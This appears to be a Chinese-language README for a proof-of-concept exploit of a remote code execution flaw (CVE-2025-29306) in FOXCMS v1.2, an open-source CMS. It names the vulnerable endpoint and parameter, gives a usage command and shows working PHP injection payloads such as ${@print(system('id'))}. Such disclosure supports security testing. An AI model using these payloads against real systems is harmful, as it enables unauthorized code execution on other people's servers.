本仓库包含一个基于 Python 的 PoC，可复现影响 FOXCMS v1.2（一款中文开源内容管理系统）的远程代码执行（RCE）漏洞。
CVE 编号：CVE-2025-29306
影响版本：FOXCMS v1.2
类型：服务参数注入 → 代码执行
FOXCMS 在 /images/index.html 端点的 id 参数中使用了不安全的参数解析机制。攻击者可利用 ${@print()} 表达式注入载荷，从而导致 PHP 代码执行。
requests 库pip install requests
# Usage
python foxcms_poc.py http://target.com/images/index.html?id=
# The script uses payloads like:
${@print(phpinfo())}
${@print(system('id'))}
# 🔐 Legal Disclaimer
This code is for educational purposes and authorized security testing only.
Do NOT use it on systems you do not own or have permission to test.
Author
Inok009